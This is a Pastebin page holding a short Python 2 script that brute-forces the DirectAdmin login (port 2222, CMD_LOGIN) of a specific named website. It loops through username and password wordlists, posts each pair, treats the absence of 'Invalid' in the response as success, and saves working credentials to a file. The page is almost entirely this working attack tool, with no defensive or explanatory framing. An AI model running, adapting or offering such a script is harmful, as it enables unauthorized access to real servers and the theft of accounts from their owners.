Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2
- import socket
- import cookielib
- import time
- import re
- PASS_LIST = 'password.txt'
- USER_LIST = 'user.txt'
- MESSENGER = 'Invalid'
- DEBUG = 0
- with open(USER_LIST) as l:
- for line in l:
- line = line.replace("\n","")
- with open(PASS_LIST) as f:
- for line1 in f:
- line1 = line1.replace("\n","")
- print "Brute Force %s : %s" % (line,line1)
- POSTDATA = "referer=/&username=%s&password=%s"%(line,line1)
- URL = "http://quangcaonewstar.com:2222/CMD_LOGIN"
- try:
- socket.setdefaulttimeout(10)
- cj = cookielib.CookieJar()
- opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
- response = opener.open(URL,POSTDATA).read()
- result = re.findall(MESSENGER, response)
- if DEBUG==1: print result
- if DEBUG==1: open('debug/%s.html'%line, 'wb').write(response)
- if len(result) > 0:
- print "Login %s : %s Error"%(line,line1)
- else:
- print "Login %s : %s Ok"%(line,line1)
- open('lst.txt', 'a').write(line+" : "+line1)
- except:
- print "Error"
- time.sleep(1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement